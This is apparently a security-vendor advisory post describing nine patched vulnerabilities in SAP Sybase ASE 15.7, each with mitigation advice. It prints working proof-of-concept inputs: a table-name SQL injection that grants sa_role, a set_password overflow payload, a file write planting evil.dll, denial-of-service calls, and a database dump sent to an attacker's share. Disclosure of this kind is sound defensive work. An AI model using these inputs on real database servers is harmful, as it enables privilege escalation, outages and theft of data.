SAP Sybase Adaptive Server Enterprise is a relational database management product used to store financial, statistical, and virtually any other type of data. It is supported on many platforms including Solaris, Linux, and Windows.
Recently SAP released security updates to the current version of the product (15.7) as well as updates to some older versions. There are nine security issues reported by Application Security Inc. (now part of Trustwave) researchers in that update. Let's go over each of them in detail to see where they are found, how they can be exploited, and what should be done to address them. These vulnerabilities were discovered during a security audit of a vanilla Sybase ASE 15.7 installation.
Analyzing the server binaries, it turns out that the database exposes certain undocumented APIs. The hacmpmsgxchg built-in procedure is one and works via remote procedure call (RPC). A simple Java program can invoke the API as follows:
...
CallableStatement callablestatement = conn.prepareCall((new StringBuilder()).append("{?=call $").append("hacmpmsgxchg").append("(?, ?)}").toString());
...
Depending on the parameters passed, the procedure can trigger various behaviors. One such behavior is granting specified fixed server roles to specified database users (logins) -- and all of this without any access controls! All an attacker would need is a connection to the database using any login in order to achieve sysadmin role access.
There are no workarounds for this issue: install the update.
Another problem with the hacmpmsgxchg built-in procedure is a failure to properly validate parameters passed to it. More specifically, when no parameters are passed to the procedure, it crashes the database server denying service to legitimate users. Note that this procedure cannot be secured via traditional database privilege revocation (REVOKE EXECUTE) and is publicly accessible. You'll need to install the update to protect yourself.
This vulnerability is similar to the hacmpmsgxchg denial-of-service vulnerability but requires less code: an attacker only needs to run a simple T-SQL SELECT such as the following:
select ssl_admin(replicate('A', 80), 'a', '3', 0)
Again, the database server process dies resulting in a denial of service. This vulnerability is caused by a lack of parameter validation inside the built-in function implementation. Again, the traditional database privilege subsystem doesn't help here, the update must be installed.
Sybase ASE supports transferring table data to a file via the TRANSFER TABLE command. This great data export feature can be abused by malicious database users because it does not validate where data is saved. In other words, the file path could be any location the database server process has permission to write to. For example, it can create arbitrary binary files on the server's file system. An example might be an attacker creating libraries that could be loaded later for subsequent attacks.
To mitigate the risk one can revoke or not grant DDL privileges (CREATE TABLE). Note that if a user already owns a table he can still exploit that issue.
Example attack:
use tempdb
go
create table mydlltable (val binary(10))
go
insert into mydlltable values (0x00112233445566778899)
go
-- This creates evil.dll under %SystemRoot%\system32 on Windows 32-bit box
transfer table mydlltable to 'evil.dll' for bcp
After the update is applied, the guest user role cannot execute the transfer table statement.
Sybase ASE supports password management via the sp_password system stored procedure. Internally it uses the built-in function set_password which is vulnerable to a classic stack-based buffer overflow. This allows for arbitrary code execution by any legitimate database user in the server's process context on a number of platforms:
declare @pwd varbinary(8000)
select @pwd = 0x43444546474800 + REPLICATE(0x41, 7000)
select set_password('DB_PASSWORD', @pwd, null)
select set_password(@pwd, 'DB_PASSWORD', null)
DB_PASSWORD above is a valid password for the user running the attack. As with many built-in functions, set_password cannot be protected by revoking privileges on it.
This vulnerability is another example of problematic input validation. To protect yourself, you'll need to apply the update.
This is an example of SQL injection internal to the database (injection happens inside the database's own code). This particular one is in the UPDATE STATISTICS command implementation. When updating the statistics on a table, several internal SQL commands are executed by the database server. Unfortunately, if the table name is not a regular name, but one specially crafted for an attack, the server fails to sanitize it and executes T-SQL code injected into the table name. Below is an example:
use tempdb
go
create table [sysobjects grant role sa_role, sso_role to DB_LOGIN--](id int)
go
alter table [sysobjects grant role sa_role, sso_role to DB_LOGIN--] partition 2
go
update statistics [sysobjects grant role sa_role, sso_role to DB_LOGIN--] with sampling = 10 percent, calibrate = 1
go
So the first thing an attacker does is perform a context switch to the tempdb system database because in tempdb anyone can create tables by default. Then the attacker creates a table with a special name. Finally, a subsequent modification step is required to force internal SQL code execution on a statistics update.
This exploit doesn't run on a default configuration. It requires the 'max parallel degree' configuration parameter to be set to 8 or above. A default configuration is not vulnerable to this particular exploit. You can further protect yourself by revoking DDL privileges.
This vulnerability exists partly due to insecure logging: the server installer logs the initial 'sa' password to a plaintext file. To nobody's surprise, on Windows this file is publicly readable. Make sure that none of the log* files under %SYBASE%\ASE-15_0\init\logs\ contain system administrator passwords. On a vanilla Sybase ASE 15.7 installation on Windows, I found this:
C:\Sybase\ASE-15_0\init\logs\findstr /c:"sp_addlogin" log*
log1211.003: exec sp_addlogin sa, 'ni92TP3@1'
The file is written by the Job Scheduler configuration step. Updated versions do not log the password in these files and instead, substitutes asterisks. Installing new servers with updated versions do not log the password substituting asterisks instead.
The last vulnerability allows for unrestricted access to the Backup Server component of a Sybase ASE installation. Sybase ASE architecture includes a Database Server, Backup Server, and XP Server components which communicate with each other. When a database administrator runs the DUMP DATABASE command to back up a database, the Database Server in turn makes a connection to the Backup Server. Via a set of RPC calls it then instructs the Backup Server to perform a dump. The problem is that the Backup Server (installed on the same box as the database server) does not validate the credentials passed to it. This makes it possible to connect and dump any database from remote servers. The only requirement for such an attack is an open TCP port on the Backup server. SAP released a fix for this vulnerability that prevents the Backup server from accepting connections originating from remote hosts by default (this can be changed by adding a trusted host to a configuration file).
Below I outline an example of this attack:
Joe finds out that the 5001 port is open while scanning the network. This port is a default port for the SAP Sybase ASE Backup Server to listen for incoming connections.
Joe sets up his own instance of SAP Sybase ASE (it must be the same version as the target server - which is easy to identify since the Backup Server emits its version information on connection).
Joe modifies the interfaces file to point to the target Backup Server. This will force Joe's local database server to query the remote Backup Server (target) instead of the local server.
Now Joe connects to his local database server and issues:
dump database master to '\\joeshost\public\master.bak'
Provided that \\joeshost\public\ allows anonymous write access (Joe can easily arrange that), soon there will be a dump of the master database from the target server. The next steps for Joe are to recover this dump on his own instance to get logins with password hashes (for brute forcing passwords) and user database names. Then Joe can create dummy databases on his local server that have exactly the same names as the target server databases. This will now allow him to perform a dump of the user databases in the same way he did for the master database. In short, we have a complete data dump from the target server without any privilege checks.
To mitigate this vulnerability a firewall must be enabled on the database host to block connections to the Backup Server.
For more details about vulnerable versions of SAP Sybase ASE and update details, please read Trustwave advisory TWSL2013-035 and the SAP security note on this topic.
Trustwave AppDetectivePRO and DbProtect verify if SAP Sybase ASE is patched with the latest updates including fixes to the issues mentioned above.